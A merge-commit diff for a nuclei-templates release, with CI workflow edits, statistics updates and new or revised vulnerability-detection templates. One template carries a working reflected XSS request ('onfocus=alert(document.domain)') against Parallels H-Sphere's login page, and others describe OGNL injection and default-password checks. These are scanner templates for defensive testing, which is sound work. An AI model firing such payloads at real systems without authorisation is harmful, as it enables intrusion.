Merge pull request #6382 from projectdiscovery/release-prep

Templates Release
Auto Generated New Template Addition List [Mon Dec 19 10:57:35 UTC 2022] 🤖
2026-11-07 08:36:19 -10:00 · 2022-12-19 16:27:46 +05:30 · 2022-12-19 10:57:35 +00:00 · 2022-12-18 13:13:56 +05:30 · 2022-12-18 13:03:50 +05:30 · 2022-12-17 04:34:10 +05:30
1387 changed files with 29694 additions and 4448 deletions
@@ -15,12 +15,12 @@ jobs:
      - name: Get Github tag
        id: meta
        run: |
-          echo "::set-output name=tag::$(curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name)"
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT

      - name: Setup CVE annotate
-        if: steps.meta.outputs.tag != ''
+        if: steps.meta.outputs.TAG != ''
        env:
-          VERSION: ${{ steps.meta.outputs.tag }}
+          VERSION: ${{ steps.meta.outputs.TAG }}
        run: |
          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/cve-annotate.zip
          sudo unzip cve-annotate.zip -d /usr/local/bin
@@ -30,10 +30,10 @@ jobs:
        id: cve-annotate
        run: |
          cve-annotate -i . -d .
-          echo "::set-output name=changes::$(git status -s | wc -l)"
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT

      - name: Commit files
-        if: steps.cve-annotate.outputs.changes > 0
+        if: steps.cve-annotate.outputs.CHANGES > 0
        run: |
          git config --local user.email "[email protected]"
          git config --local user.name "GitHub Action"
@@ -42,7 +42,7 @@ jobs:
          git commit -m "Auto Generated CVE annotations [$(date)] :robot:" -a

      - name: Push changes
-        if: steps.cve-annotate.outputs.changes > 0
+        if: steps.cve-annotate.outputs.CHANGES > 0
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -30,17 +30,17 @@ jobs:
        id: readme-update
        run: |
          python .github/scripts/update-readme.py
-          echo "::set-output name=changes::$(git status -s | wc -l)"
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT

      - name: Commit files
-        if: steps.readme-update.outputs.changes > 0
+        if: steps.readme-update.outputs.CHANGES > 0
        run: |
          git config --local user.email "[email protected]"
          git config --local user.name "GitHub Action"
          git commit -m "Auto README Update [$(date)] :robot:" -a

      - name: Push changes
-        if: steps.readme-update.outputs.changes > 0
+        if: steps.readme-update.outputs.CHANGES > 0
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -0,0 +1,38 @@
+name: 📝 Template Checksum
+
+on:
+  push:
+    tags:
+      - '*'
+  workflow_dispatch:
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      - uses: actions/setup-go@v2
+        with: 
+          go-version: 1.18
+
+      - name: install checksum generator
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v2/cmd/generate-checksum@dev
+
+      - name: generate checksum
+        run: |
+          generate-checksum /home/runner/work/nuclei-templates/nuclei-templates/ templates-checksum.txt
+
+      - name: Commit files
+        run: |
+          git pull
+          git add templates-checksum.txt
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Generated Templates Checksum [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master
@@ -14,7 +14,7 @@ jobs:
        with:
          go-version: 1.17

-      - name: Intalling Indexer
+      - name: Installing Indexer
        run: |
          git config --global url."https://${{ secrets.ACCESS_TOKEN }}@github".insteadOf https://github
          git clone https://github.com/projectdiscovery/nucleish-api.git
@@ -26,4 +26,4 @@ jobs:
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
-          generate-index -mode templates
+          generate-index -mode templates
@@ -11,12 +11,12 @@ jobs:
      - name: Get Github tag
        id: meta
        run: |
-          echo "::set-output name=tag::$(curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name)"
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT

      - name: Setup Nuclei
-        if: steps.meta.outputs.tag != ''
+        if: steps.meta.outputs.TAG != ''
        env:
-          VERSION: ${{ steps.meta.outputs.tag }}
+          VERSION: ${{ steps.meta.outputs.TAG }}
        run: |
          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/nuclei_${VERSION:1}_linux_amd64.zip
          sudo unzip nuclei*.zip -d /usr/local/bin
@@ -13,7 +13,7 @@ jobs:
      - uses: actions/checkout@master
      - uses: actions/setup-go@v2
        with: 
-          go-version: 1.17
+          go-version: 1.18

      - name: Installing Template Stats
        run: |
@@ -37,10 +37,10 @@ jobs:

      - name: Get statistical changes
        id: stats
-        run: echo "::set-output name=changes::$(git status -s | wc -l)"
+        run: git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT

      - name: Commit files
-        if: steps.stats.outputs.changes > 0
+        if: steps.stats.outputs.CHANGES > 0
        run: |
          git add TEMPLATES-STATS.*
          git add TOP-10.md
@@ -1,42 +1,57 @@
-cves/2020/CVE-2020-11450.yaml
-cves/2021/CVE-2021-24150.yaml
-cves/2021/CVE-2021-24227.yaml
-cves/2022/CVE-2022-0412.yaml
-cves/2022/CVE-2022-0441.yaml
-cves/2022/CVE-2022-0679.yaml
-cves/2022/CVE-2022-0781.yaml
-cves/2022/CVE-2022-1768.yaml
-cves/2022/CVE-2022-2467.yaml
-cves/2022/CVE-2022-25356.yaml
-cves/2022/CVE-2022-30512.yaml
-cves/2022/CVE-2022-30513.yaml
-cves/2022/CVE-2022-30514.yaml
-cves/2022/CVE-2022-35914.yaml
-cves/2022/CVE-2022-38817.yaml
-exposed-panels/apache/apache-mesos-panel.yaml
-exposed-panels/arris-modem-detect.yaml
-exposed-panels/avigilon-panel.yaml
-exposed-panels/axel-webserver.yaml
-exposed-panels/davantis-panel.yaml
-exposed-panels/extron-cms-panel.yaml
-exposed-panels/harbor-panel.yaml
-exposed-panels/neobox-panel.yaml
-exposed-panels/php-mailer.yaml
-exposed-panels/qualtrics-login.yaml
-exposed-panels/room-alert-detect.yaml
-exposed-panels/sungrow-logger1000-detect.yaml
-exposed-panels/zblog-exposed-admin-panel.yaml
-exposures/configs/s3cfg-config.yaml
-exposures/files/nuget-package-config.yaml
-exposures/files/sass-lint.yaml
-exposures/files/wordpress-readme-file.yaml
-ssl/mismatched-ssl.yaml
-technologies/apple-httpserver.yaml
-technologies/glpi-status-page.yaml
-technologies/hugo-detect.yaml
-technologies/smtp2go-detect.yaml
-technologies/wms-server-detect.yaml
-token-spray/api-newrelic.yaml
-token-spray/api-opsgenie.yaml
-token-spray/api-ticketmaster.yaml
-token-spray/api-userstack.yaml
+cves/2019/CVE-2019-6802.yaml
+cves/2021/CVE-2021-20323.yaml
+cves/2021/CVE-2021-24827.yaml
+cves/2021/CVE-2021-25099.yaml
+cves/2022/CVE-2022-0826.yaml
+cves/2022/CVE-2022-0948.yaml
+cves/2022/CVE-2022-1595.yaml
+cves/2022/CVE-2022-2314.yaml
+cves/2022/CVE-2022-4050.yaml
+cves/2022/CVE-2022-45917.yaml
+default-logins/apache/karaf-default-login.yaml
+default-logins/lutron/lutron-default-login.yaml
+exposed-panels/aircube-dashboard-panel.yaml
+exposed-panels/gyra-master-admin.yaml
+exposed-panels/ilias-panel.yaml
+exposed-panels/mag-dashboard-panel.yaml
+exposed-panels/microfocus-admin-server.yaml
+exposed-panels/netris-dashboard-panel.yaml
+exposed-panels/planet-estream-panel.yaml
+exposed-panels/spark-panel.yaml
+exposed-panels/verizon-router-panel.yaml
+exposures/configs/config-json.yaml
+exposures/configs/golangci-config.yaml
+exposures/configs/stestr-config.yaml
+exposures/configs/websheets-config.yaml
+exposures/files/database-credentials.yaml
+exposures/files/gradle-libs.yaml
+exposures/files/kubernetes-etcd-keys.yaml
+exposures/files/routes-ini.yaml
+exposures/files/salesforce-credentials.yaml
+exposures/files/svn-wc-db.yaml
+exposures/logs/badarg-log.yaml
+exposures/logs/firebase-debug-log.yaml
+exposures/logs/npm-debug-log.yaml
+exposures/logs/production-log.yaml
+iot/homeworks-illumination.yaml
+miscellaneous/sitemap-detect.yaml
+misconfiguration/installer/easyscripts-installer.yaml
+misconfiguration/installer/metaview-explorer-installer.yaml
+misconfiguration/unauth-mautic-upgrade.yaml
+misconfiguration/unauth-zwave-mqtt.yaml
+misconfiguration/vernemq-status-page.yaml
+network/detection/cisco-finger-detect.yaml
+network/detection/finger-detect.yaml
+network/detection/mysql-detect.yaml
+network/detection/redis-detect.yaml
+network/detection/rpcbind-portmapper-detect.yaml
+takeovers/leadpages-takeover.yaml
+technologies/apache/apache-karaf-panel.yaml
+technologies/icecast-server-detect.yaml
+technologies/mikrotik-httpproxy.yaml
+technologies/pagespeed-detect.yaml
+vulnerabilities/nps/nps-auth-bypass.yaml
+vulnerabilities/qibocms-file-download.yaml
+vulnerabilities/vmware/vmware-nsx-stream-rce.yaml
+vulnerabilities/zend/zend-v1-xss.yaml
+vulnerabilities/zyxel/unauth-lfd-zhttpd.yaml
@@ -27,6 +27,7 @@ files:
  - cves/2007/CVE-2007-5728.yaml
  - cves/2014/CVE-2014-9608.yaml
  - cves/2018/CVE-2018-5233.yaml
+  - cves/2019/CVE-2019-14696.yaml
  - cves/2020/CVE-2020-11930.yaml
  - cves/2020/CVE-2020-19295.yaml
  - cves/2020/CVE-2020-2036.yaml
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1459 | daffainfo     |   633 | cves             |  1438 | info     |  1491 | http    |  3929 |
-| panel     |   667 | dhiyaneshdk   |   606 | exposed-panels   |   674 | high     |  1066 | file    |    77 |
-| edb       |   573 | pikpikcu      |   329 | vulnerabilities  |   515 | medium   |   776 | network |    52 |
-| lfi       |   513 | pdteam        |   270 | technologies     |   287 | critical |   513 | dns     |    17 |
-| xss       |   504 | geeknik       |   193 | exposures        |   281 | low      |   228 |         |       |
-| wordpress |   430 | dwisiswant0   |   169 | misconfiguration |   246 | unknown  |    14 |         |       |
-| exposure  |   419 | 0x_akoko      |   167 | token-spray      |   230 |          |       |         |       |
-| cve2021   |   356 | princechaddha |   151 | workflows        |   190 |          |       |         |       |
-| rce       |   340 | ritikchaddha  |   138 | default-logins   |   106 |          |       |         |       |
-| wp-plugin |   327 | pussycat0x    |   135 | file             |    77 |          |       |         |       |
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |

-**299 directories, 4307 files**.
+**321 directories, 4736 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1459},{"name":"panel","count":667},{"name":"edb","count":573},{"name":"lfi","count":513},{"name":"xss","count":504},{"name":"wordpress","count":430},{"name":"exposure","count":419},{"name":"cve2021","count":356},{"name":"rce","count":340},{"name":"wp-plugin","count":327},{"name":"tech","count":301},{"name":"packetstorm","count":285},{"name":"token-spray","count":230},{"name":"wpscan","count":222},{"name":"cve2020","count":216},{"name":"cve2022","count":202},{"name":"","count":195},{"name":"unauth","count":164},{"name":"config","count":151},{"name":"wp","count":146},{"name":"cve2018","count":144},{"name":"kev","count":144},{"name":"cve2019","count":136},{"name":"joomla","count":133},{"name":"default-login","count":122},{"name":"apache","count":122},{"name":"misconfig","count":118},{"name":"iot","count":117},{"name":"oast","count":115},{"name":"cve2010","count":111},{"name":"authenticated","count":99},{"name":"sqli","count":98},{"name":"redirect","count":88},{"name":"login","count":86},{"name":"router","count":86},{"name":"takeover","count":73},{"name":"devops","count":72},{"name":"token","count":72},{"name":"ssrf","count":71},{"name":"cve2017","count":69},{"name":"cms","count":63},{"name":"auth-bypass","count":62},{"name":"oracle","count":61},{"name":"file","count":60},{"name":"intrusive","count":57},{"name":"network","count":56},{"name":"disclosure","count":55},{"name":"seclists","count":52},{"name":"cve2016","count":49},{"name":"cisco","count":47},{"name":"cve2015","count":47},{"name":"google","count":46},{"name":"fileupload","count":45},{"name":"adobe","count":45},{"name":"cve2014","count":41},{"name":"plugin","count":41},{"name":"aem","count":41},{"name":"oss","count":39},{"name":"atlassian","count":37},{"name":"vulhub","count":37},{"name":"vmware","count":36},{"name":"logs","count":36},{"name":"traversal","count":36},{"name":"tenable","count":33},{"name":"injection","count":33},{"name":"jira","count":32},{"name":"hackerone","count":32},{"name":"listing","count":31},{"name":"huntr","count":28},{"name":"springboot","count":28},{"name":"generic","count":28},{"name":"kubernetes","count":27},{"name":"dns","count":27},{"name":"sap","count":25},{"name":"cnvd","count":25},{"name":"log4j","count":25},{"name":"microsoft","count":23},{"name":"proxy","count":23},{"name":"jndi","count":22},{"name":"debug","count":22},{"name":"misc","count":21},{"name":"zoho","count":21},{"name":"wp-theme","count":21},{"name":"fuzz","count":21},{"name":"aws","count":21},{"name":"manageengine","count":21},{"name":"weblogic","count":20},{"name":"php","count":20},{"name":"cve2012","count":20},{"name":"camera","count":19},{"name":"tomcat","count":19},{"name":"deserialization","count":19},{"name":"api","count":19},{"name":"ibm","count":18},{"name":"service","count":18},{"name":"cloud","count":18},{"name":"k8s","count":18},{"name":"dlink","count":18},{"name":"jenkins","count":17},{"name":"firewall","count":17},{"name":"wavlink","count":17},{"name":"cicd","count":16},{"name":"struts","count":16},{"name":"gitlab","count":15},{"name":"cve2011","count":15},{"name":"xxe","count":15},{"name":"cve2009","count":15},{"name":"java","count":14},{"name":"printer","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"domainmod","count":14},{"name":"cve2013","count":13},{"name":"abstractapi","count":13},{"name":"msf","count":13},{"name":"lfr","count":13},{"name":"ruijie","count":13},{"name":"netgear","count":12},{"name":"status","count":12},{"name":"microweber","count":12},{"name":"nginx","count":12},{"name":"graphql","count":12},{"name":"confluence","count":12},{"name":"ftp","count":12},{"name":"magento","count":12},{"name":"drupal","count":12},{"name":"netsweeper","count":12},{"name":"rails","count":12},{"name":"backdoor","count":11},{"name":"cnvd2021","count":11},{"name":"cisa","count":11},{"name":"woocommerce","count":11},{"name":"backup","count":11},{"name":"glpi","count":11},{"name":"amazon","count":11},{"name":"cve2008","count":11},{"name":"airflow","count":11},{"name":"azure","count":11},{"name":"grafana","count":10},{"name":"laravel","count":10},{"name":"jolokia","count":10},{"name":"fortigate","count":10},{"name":"django","count":10},{"name":"dell","count":10},{"name":"coldfusion","count":10},{"name":"spring","count":10},{"name":"zyxel","count":10},{"name":"github","count":10},{"name":"ruby","count":9},{"name":"mirai","count":9},{"name":"iis","count":9},{"name":"dedecms","count":9},{"name":"vcenter","count":9},{"name":"fortinet","count":9},{"name":"wso2","count":9},{"name":"zabbix","count":9},{"name":"windows","count":9},{"name":"phpmyadmin","count":9},{"name":"auth","count":9},{"name":"prometheus","count":9},{"name":"webserver","count":9},{"name":"kube","count":9},{"name":"ssl","count":9},{"name":"fastjson","count":9},{"name":"scada","count":8},{"name":"kafka","count":8},{"name":"jboss","count":8},{"name":"metadata","count":8},{"name":"solr","count":8},{"name":"hms","count":8},{"name":"citLine truncated
+{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1459 | daffainfo     |   633 | cves             |  1438 | info     |  1491 | http    |  3929 |
-| panel     |   667 | dhiyaneshdk   |   606 | exposed-panels   |   674 | high     |  1066 | file    |    77 |
-| edb       |   573 | pikpikcu      |   329 | vulnerabilities  |   515 | medium   |   776 | network |    52 |
-| lfi       |   513 | pdteam        |   270 | technologies     |   287 | critical |   513 | dns     |    17 |
-| xss       |   504 | geeknik       |   193 | exposures        |   281 | low      |   228 |         |       |
-| wordpress |   430 | dwisiswant0   |   169 | misconfiguration |   246 | unknown  |    14 |         |       |
-| exposure  |   419 | 0x_akoko      |   167 | token-spray      |   230 |          |       |         |       |
-| cve2021   |   356 | princechaddha |   151 | workflows        |   190 |          |       |         |       |
-| rce       |   340 | ritikchaddha  |   138 | default-logins   |   106 |          |       |         |       |
-| wp-plugin |   327 | pussycat0x    |   135 | file             |    77 |          |       |         |       |
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
@@ -1,11 +1,13 @@
 id: CNVD-2017-03561

 info:
-  name: Panwei e-mobile - Ognl Injection
+  name: Panwei eMobile - OGNL Injection
  author: ritikchaddha
  severity: high
+  description: Panwei eMobile contains an object graph navigation library vulnerability. An attacker can inject arbitrary JavaScript, thus possibly obtaining sensitive information from a database, modifying data, and executing unauthorized administrative operations in the context of the affected site.
  reference:
    - https://gitee.com/cute-guy/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3%A8%E5%85%A5.md
+    - https://reconshell.com/vulnerability-research-list/
  metadata:
    verified: true
    fofa-query: app="泛微-eMobile"
@@ -32,3 +34,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/09/30
@@ -1,11 +1,13 @@
 id: CNVD-2020-56167

 info:
-  name: Ruijie Smartweb Default Password
+  name: Ruijie Smartweb - Default Password
  author: pikpikcu
  severity: low
+  description: Ruijie Smartweb contains a vulnerability via the default password. An attacker can successfully bypass entering required credentials, thus possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
+    - https://securityforeveryone.com/tools/ruijie-smartweb-default-password-scanner
  tags: ruijie,default-login,cnvd,cnvd2020

 requests:
@@ -28,3 +30,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/09/30
@@ -1,12 +1,14 @@
 id: CNVD-2021-09650

 info:
-  name: Ruijie EWEB Gateway Platform - Remote Command Injection
-  author: daffainfo
+  name: Ruijie Networks-EWEB Network Management System - Remote Code Execution
+  author: daffainfo,pikpikcu
  severity: critical
  description: Ruijie EWEB Gateway Platform is susceptible to remote command injection attacks.
  reference:
    - http://j0j0xsec.top/2021/04/22/%E9%94%90%E6%8D%B7EWEB%E7%BD%91%E5%85%B3%E5%B9%B3%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
+    - https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py
+    - https://www.ruijienetworks.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
@@ -1368,5 +1368,16 @@
            "website": "",
            "email": ""
        }
+    },
+    {
+        "author": "heywoodlh",
+        "links": {
+            "github": "https://www.github.com/heywoodlh",
+            "twitter": "",
+            "linkedin": "",
+            "website": "https://the-empire.systems",
+            "email": ""
+        }
    }
+
 ]
@@ -10,7 +10,7 @@ info:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1061
-    - http://secunia.com/advisories/29099
+    - http://securityreason.com/securityalert/3706
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
@@ -0,0 +1,47 @@
+id: CVE-2008-6465
+
+info:
+  name: Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Parallels H-Sphere 3.0.0 P9 and 3.1 P1 contains multiple cross-site scripting vulnerabilities in login.php in webshell4. An attacker can inject arbitrary web script or HTML via the err, errorcode, and login parameters, thus allowing theft of cookie-based authentication credentials and launch of other attacks.
+  reference:
+    - http://www.xssing.com/index.php?x=3&y=65
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45254
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45252
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-6465
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2008-6465
+    cwe-id: CWE-80
+  metadata:
+    verified: true
+    shodan-query: title:"Parallels H-Sphere
+  tags: cve,cve2008,xss,parallels,h-sphere
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '\" onfocus=alert(document.domain); autofocus'
+          - 'Please enter login name &amp; password'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08
@@ -8,16 +8,16 @@ info:
    Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.
  reference:
    - https://www.exploit-db.com/exploits/6369
-    - https://www.cvedetails.com/cve/CVE-2008-6982
-    - https://nvd.nist.gov/vuln/detail/CVE-2008-6982
    - http://sourceforge.net/projects/devalcms/files/devalcms/devalcms-1.4b/devalcms-1.4b.zip/download
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-6982
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
+    cve-id: CVE-2008-6982
    cwe-id: CWE-79
  metadata:
    verified: "true"
-  tags: devalcms,xss,cms,edb
+  tags: cve,cve2008,devalcms,xss,cms,edb

 requests:
  - method: GET
@@ -4,7 +4,7 @@ info:
  name: Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
-  description: A directory traversal vulnerability in joomlaflickr.php in the Joomla Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  description: A directory traversal vulnerability in joomlaflickr.php in the Joomla! Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  reference:
    - https://www.exploit-db.com/exploits/12085
    - https://www.cvedetails.com/cve/CVE-2010-1980
@@ -1,7 +1,7 @@
 id: CVE-2010-2033

 info:
-  name: Joomla Percha Categories Tree 0.6 - Local File Inclusion
+  name: Joomla! Percha Categories Tree 0.6 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
@@ -0,0 +1,39 @@
+id: CVE-2012-0394
+
+info:
+  name: Apache Struts Dev Mode OGNL Injection
+  author: tess
+  severity: critical
+  description: |
+    The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
+  reference:
+    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
+    - https://www.exploit-db.com/exploits/31434
